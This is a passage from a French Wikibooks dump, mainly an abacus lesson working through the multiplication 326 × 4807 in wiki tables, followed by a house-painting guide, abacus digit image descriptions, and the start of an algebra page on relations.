[[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} </center> le résultat est donc : 13301 ''Pour s'exercer'' : [[S'initier au boulier en 10 leçons - Leçon 6|leçon 6]] S'initier au boulier en 10 leçons - Leçon 5ter 135 20816 2005-09-09T15:57:38Z 82.240.200.9 {| width="100"% cols="3" border="1" align = "right" |----- | colspan="3" align="center" | <b>[[S'initier au boulier en 10 leçons]]</b> |----- | align="center" | [[S'initier au boulier en 10 leçons - Leçon 4|Leçon 4]] | align="center" | [[S'initier au boulier en 10 leçons - Leçon 5|Retour]] | align="center" | [[S'initier au boulier en 10 leçons - Leçon 6|Leçon 6]] |} ''' La multiplication de grands nombres''' <br/> <br/> Voici les différentes étapes du produit de 326 par 4807 *Ecriture de 4807 : {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 0 | align="center" | 0 | align="center" | 0 | align="center" | <font color="red">4 </font> | align="center" | <font color="red">8 </font> | align="center" | <font color="red">0 </font> | align="center" | <font color="red">7 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} * 4 &times; 326 ** 4 &times; 3 = 12 : {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 2 | align="center" | 0 | align="center" | <font color="red">4 </font> | align="center" | <font color="red">8 </font> | align="center" | <font color="red">0 </font> | align="center" | <font color="red">7 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} ** 4 &times; 2 = 8 : {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 2 | align="center" | 8 | align="center" | <font color="red">4 </font> | align="center" | <font color="red">8 </font> | align="center" | <font color="red">0 </font> | align="center" | <font color="red">7 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} ** 4 &times; 6 = 24 : {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 3 | align="center" | 0 | align="center" | 4 | align="center" | <font color="red">8 </font> | align="center" | <font color="red">0 </font> | align="center" | <font color="red">7 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} *multiplication de 8 par 326 ** 8 &times; 3 = 24 : {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 5 | align="center" | 4 | align="center" | 4 | align="center" | <font color="red">8 </font> | align="center" | <font color="red">0 </font> | align="center" | <font color="red">7 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} ** 8 &times; 2 = 16 : {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 5 | align="center" | 6 | align="center" | 0 | align="center" | <font color="red">8 </font> | align="center" | <font color="red">0 </font> | align="center" | <font color="red">7 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} ** 8 &times; 6 = 48 : {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 5 | align="center" | 6 | align="center" | 4 | align="center" | 8 | align="center" | <font color="red">0 </font> | align="center" | <font color="red">7 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} *multiplication de 0 par 326 (rien à faire) *multiplication de 7 par 326 ** 7 &times; 3 = 21 : {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 5 | align="center" | 6 | align="center" | 6 | align="center" | 9 | align="center" | 0 | align="center" | <font color="red">7 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} ** 7 &times; 2 = 14 : {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 5 | align="center" | 6 | align="center" | 7 | align="center" | 0 | align="center" | 4 | align="center" | <font color="red">7 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> 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[[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} ** 7 &times; 6 = 42 : {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 5 | align="center" | 6 | align="center" | 7 | align="center" | 0 | align="center" | 8 | align="center" | 2 |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} Le résultat est donc 1 567 082 ''Pour s'exercer'' : [[S'initier au boulier en 10 leçons - Leçon 6|leçon 6]] Peinture en bâtiment 136 19365 2005-08-18T11:46:10Z Greudin 1 /* Les différentes sortes de peinture */ w:| La surface à peindre doit être plane, sèche, saine, propre et accrocheuse. ==Préparation== Suivant l'importance des trouées, fissures, la qualité de la surface et sa composition, on pourra être amené à utiliser, par exemple les matériaux suivants: *[[w:fr:mortier|Mortier]] *[[w:fr:ciment|Ciment]] *[[w:fr:plâtre|Plâtre]] *[[w:fr:enduit|Enduit]] L'enduit se décline sous deux formes: en poudre ou en pâte. En poudre, il est à diluer dans de l'eau (comme le plâtre) et présente l'avantage de pouvoir, selon l'importance de sa dilution, reboucher ou lisser, mais a l'inconvénient de sécher rapidement et de ne pas se conserver. En pâte, il présente les inconvénients d'être plus cher qu'en poudre et d'être spécialisé (il existe sous trois formes: rebouchage, universel, lissage): l'enduit de rebouchage ne peut pas se substituer à l'enduit de lissage, et inversement. Quant à l'enduit "universel", il s'avère finalement à la fois capable de reboucher correctement uniquement les petits défauts (trop liquide) et incapable de lisser de manière homogène (trop solide). Cependant, l'enduit en pâte ne nécessite aucune préparation et se conserve longtemps, donc à privilégier pour les petites surfaces. Un ponçage est nécessaire pour dégraisser la surface, "casser" l'ancienne peinture (en particulier si celle-ci est brillante) afin de s'assurer de la bonne accroche, ou enlever l'excès d'enduit. Pour renforcer - un peu - la surface (notamment en cas de fissures récurrentes en raison de mouvements du bâtiment), on pourra utiliser de la toile de verre ou des bandes à plâtrer. ==Les différentes sortes de peinture== *[[w:acrylique|acrylique]]: dilution et nettoyage à l'eau *[[w:glycéro|glycéro]]: dilution et nettoyage au White Spirit Chacune se décline en trois nuances: *[[w:mat|mat]] (un peu salissant) *[[w:satiné|satiné]] *[[w:brillant|brillant]] Le choix du type de peinture s'effectue selon l'exposition de la pièce à la lumière du jour, à l'humidité, selon la couleur. 2 trucs pour les pinceaux: avant de les nettoyer avec le diluant approprié, toujours ôter le maximum de peinture avec un chiffon sec. Si le pinceau doit être réutilisé le lendemain, on peut entretemps le laisser plongé dans un bocal d'eau ou de White Spirit. Il est également possible de conserver le pinceau ou le rouleau, bien imbibés de peinture, dans un emballage hermétique en plastique (sac plastique, film étirable). ==Techniques de peinture== ===[[Peinture]] à l'éponge=== Protéger le bord des surfaces à épargner à l'aide de ruban de crêpe autocollant. Se munir d'une éponge '''naturelle'''. En détacher un fragment. peindre les bordures à l'aide d'un pinceau. Tamponner à l'aide du fragment sans frottement et en variant l'angle de tamponnement pour obtenir un effet aléatoire. Les bordures faites, tamponner le reste avec l'éponge qu'on aura humidifiée avant de l'enduire de peinture. Éviter les glissements et varier la position de l'éponge. Après séchage, recommencer éventuellement avec une autre couleur. Image:Bouliernb0.png 137 11941 2004-07-25T09:02:57Z HB 15 chiffre 0 ave boulier. Image personnelle créée avec Gimp chiffre 0 ave boulier. Image personnelle créée avec Gimp Image:Bouliernb1.png 138 11942 2004-07-25T09:04:36Z HB 15 chiffre 1avec boulier. Image personnelle créée avec Gimp chiffre 1avec boulier. Image personnelle créée avec Gimp Image:Bouliernb2.png 139 11943 2004-07-25T09:05:46Z HB 15 chiffre 2 avec boulier. Image personnelle créée avec Gimp chiffre 2 avec boulier. Image personnelle créée avec Gimp Image:Bouliernb3.png 140 11944 2004-07-25T09:06:40Z HB 15 chiffre 3 avec boulier. Image personnelle créée avec Gimp chiffre 3 avec boulier. Image personnelle créée avec Gimp Image:Bouliernb4.png 141 11945 2004-07-25T09:07:46Z HB 15 chiffre 4 avec boulier. Image personnelle créée avec Gimp chiffre 4 avec boulier. Image personnelle créée avec Gimp Image:Bouliernb5.png 142 11946 2004-07-25T09:08:40Z HB 15 chiffre 5 avec boulier. Image personnelle créée avec Gimp chiffre 5 avec boulier. Image personnelle créée avec Gimp Image:Bouliernb6.png 143 11947 2004-07-25T09:09:31Z HB 15 chiffre 5 avec boulier. Image personnelle créée avec Gimp chiffre 5 avec boulier. Image personnelle créée avec Gimp Image:Bouliernb7.png 144 11948 2004-07-25T09:11:06Z HB 15 chiffre 6 avec boulier. Image personnelle créée avec Gimp chiffre 6 avec boulier. Image personnelle créée avec Gimp Image:Bouliernb8.png 145 11949 2004-07-25T09:17:08Z HB 15 chiffre 8 avec boulier. Image personnelle créée avec Gimp chiffre 8 avec boulier. Image personnelle créée avec Gimp Image:Bouliernb9.png 146 11950 2004-07-25T09:18:00Z HB 15 chiffre 9 avec boulier. Image personnelle créée avec Gimp chiffre 9 avec boulier. Image personnelle créée avec Gimp Algèbre:Relations 147 11951 2005-05-16T17:57:19Z LKenzo 309 Remplacement de et par le symbole de conjonction logique inclusive === Relations === ------------------- '''Définitions .''' Soit <math>E</math> un ensemble. Une relation sur <math>E</math> est une partie <math>R</math> de <math>E^2</math>. Si <math>(x,y)\in R</math>, on écrit <math>x R y</math>, et on dit que <math>x</math> et <math>y</math> sont en relation par <math>R</math>. Une relation est : *''réflexive'' si <math>\forall x \in E, xRx</math> *''symétrique'' si <math>(\forall x,y \in E, xRy)\Rightarrow( yRx ),</math> *''transitive'' si <math>(\forall x,y,z\in E, (xRy\, \wedge \, yRz))\Rightarrow (xRz).</math> *''antisymétrique'' si <math>(\forall x,y\in E, (xRy\, \wedge\, yRx))\Rightarrow (x=y).</math> === Relation d'équivalence === --------------------------- '''Définition''' Une <u>relation d'équivalence</u> est une relation '''réflexive''', '''transitive''' et '''symétrique'''. '''Exemples''' *Le parallélisme est une relation d'équivalence sur l'ensemble des droites du plan. **Demonstration : :::#Reflexive : Toute droite du plan est parallèle à elle même (on notera //). :::#Transitive : Soient <math>A,B,C</math> trois droites. Si <math>A</math> // <math>B</math> et <math>B</math> // <math>C</math> alors <math>A</math> // <math>C</math>. :::#Symétrique : Soient <math>A,B</math> deux droites si <math>A</math> // <math>B</math> alors <math>B</math> // <math>A</math> *Si <math>H</math> est un sous groupe 